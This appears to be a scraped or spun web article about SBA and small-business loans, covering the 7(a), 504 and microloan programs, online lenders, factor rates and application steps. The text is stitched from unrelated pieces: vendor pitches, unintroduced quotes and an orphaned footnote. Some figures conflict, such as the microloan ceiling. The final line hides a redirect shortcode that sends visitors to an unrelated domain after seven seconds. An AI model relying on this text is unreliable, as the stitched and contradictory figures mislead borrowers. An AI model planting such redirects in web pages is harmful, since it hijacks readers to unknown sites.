SBA loans also encourage individuals to buy existing business. Since, unlike in real estate transactions, commercial lenders can fund referral fee earned by business brokers helping people buy and sell businesses, this segment of industry is supported by smaller banks and standalone finance companies who understand this sector.
• Special Purpose Loans Program This category includes help to businesses for a range of reasons, from negative impacts from the North American Free Trade Agreement to helping implement pollution controls to providing assistance to Employee Stock Ownership Plans.
In 2005, SBA Inspector General Report 5-15 stated, “One of the most important challenges facing the Small Business Administration and the entire Federal government today is that large businesses are receiving small business procurement awards and agencies are receiving credit for these awards.”
Whether you’re envisioning that new piece of equipment on the floor of your factory or workshop, you want your warehouse shelves fully stocked with some much-needed inventory, or you’re faced with an acquisition opportunity that you don’t want to pass up, BFS Capital can help you obtain the funding you need to make it happen.
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The 7(a) Loan Guarantee Program is designed to help entrepreneurs start or expand their small businesses. The program makes capital available to small businesses through bank and non-bank lending institutions. The Small Business Jobs Act of 2010 increased the maximum size of these loans, indefinitely, from $2 million to $5 million.
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It is important to consider existing debt, whether it be from credit cards or previous loans. If you aren’t planning on using your funds for debt consolidation, it would be challenging to repay a new loan if you are already struggling to pay off other debts. That’s why if you still have a significant amount of debt left to pay off, we suggest waiting before you apply for a loan. You’ll likely feel more comfortable repaying a loan if you are not obligated to make other debt payments at the same time.
Community development goals include promoting business district revitalization, expansion of exports, expansion of minority, women, or veteran owned businesses, rural development, energy efficiency or clean energy production, and more (for a comprehensive list, see visit the SBA).
Online lenders provide small-business loans and lines of credit from $500 to $500,000. The average APR on these loans ranges from 7% to 108%, depending on the lender, the type and size of loan, the length of the repayment term, the borrower’s credit history and whether collateral is required. These lenders rarely can compete with traditional banks in terms of APR.
Microlenders are nonprofits that typically lend short-term loans of less than $35,000. The APR on these loans is typically higher than that of bank loans. The application may require a detailed business plan and financial statements, as well as a description of what the loan will be used for, making it a lengthy process. Also, the size of the loans is, by definition, “micro.” But these loans may work well for smaller companies or startups that can’t qualify for traditional bank loans, due to a limited operating history, poor personal credit or a lack of collateral.
• Assemble a complete financial history. In addition to your personal credit information, a lender is going to want to know that your business has a stable financial history. “An accurate and complete financial history is very important to lend credibility to the SBA loan request,” Anderson says. “If you are currently in business, lenders will want to see profit and loss statements for three complete fiscal years and the current year to date. In addition they will want a recent balance sheet, within the last 60 days.” If you are just starting a business, this step is not required. But keep in mind that it is much more difficult to obtain SBA loans for start-up businesses than existing businesses.
1 Factor rate is the financing cost divided by the loan amount – but that’s not how traditional interest rates work. For example, if you pay 30 cents for a one-year loan of one dollar, your factor rate is 30% but is equivalent to a 55% interest rate! Factor rates can make short-term loans appear less expensive than a traditional interest rate would.
Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
• Work with the lender. Cooperate with the lender by providing all information requested, so that the lender can complete the evaluation and, if the lender decides to make a deal, submit materials to the SBA, Anderson says. If the loan is approved, you will be notified and requested to sign final loan papers. The lender will then fund the SBA Loan.
Did you know you have a FICO small business credit score that banks use to help make their lending decisions?Like your personal FICO credit score, the SBSS score can single-handedly make or break your chances of getting business financing!
Another important distinction is that while 7(a) and 504 loans come from third party lenders, microloans come directly from government funds, which are administered by local nonprofits in each community. Collateral and a personal guarantee are still required.
504 Fixed Asset Program: featuring fixed-rate and long-term financing, these loans are aimed at applicants whose business model will benefit their community directly, either by providing jobs or bringing needed services to an underserved area. Again, the maximum amount is $5 million.
The SBA Microloan program provides loans to nonprofit intermediary lenders who in turn lend amounts under $50,000 to for-profit small businesses and nonprofit child care centers. The SBA does not guarantee any portion of the loans made under the SBA Microloan program. Microloans have terms up to 6 years and the average size is $14,215.
• Review your credit report. “A major consideration for a lender to make a loan is the ‘character’ of the borrower,” Anderson says. “Lenders want to loan money to people who have a positive track record for paying their obligations as agreed.” The “Fair Isaac Credit Score” (FICO) is one measure used to evaluate character. Credit scores can range from 300-850, and it is very important that you have a relatively high score to be able to secure a SBA loan. While some SBA loans may be made with FICO scores below 700, potential borrowers with scores in the high 700s or 800s are generally greeted with respect by lenders. You can review your credit reports — for free — from all three credit-reporting companies — Experian, Equifax and TransUnion — once per year to insure that they are accurate. You need to be prepared because the bank will pull the credit reports on you. If you find mistakes on your credit reports, take steps to correct those mistakes and bring the e-mails, letters, and other correspondence with you to the bank when applying for a loan. “When you go to the bank, you can say, ‘It’s a mistake. It’s not me.’ And you have the letter to show them,” says Cruz. “At least it’s not a surprise to you. You don’t want to be surprised.” Professionals also can provide guidance for improving credit scores. Personal income tax reports for three years will be required for all parties that own at least 20 percent of the company’s equity. A weak FICO Score from a 20 percent to 25 percent owner can badly damage the obtaining of a SBA Small Business Loan.
• Your business needs to meet the SBA’s size requirements. In order to qualify as a small business, your firm needs to meet the government’s definition of a small business for your industry. Some industry size requirements are based on average annual receipts; other industries are judged based on the number of employees, which generally can’t exceed 500 workers — although there are exceptions. The SBA maintains an exhaustive list of size requirements broken down by industry.
Note: SBA guaranteed loans are based on a working arrangement between the SBA and the bank. The SBA doesn’t lend money, and it doesn’t interface with borrowers. Banks and other participating lenders decide whether or not to approve loan applications, and then they apply directly to the SBA for the guarantee. Note: not all banks participate with the SBA. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]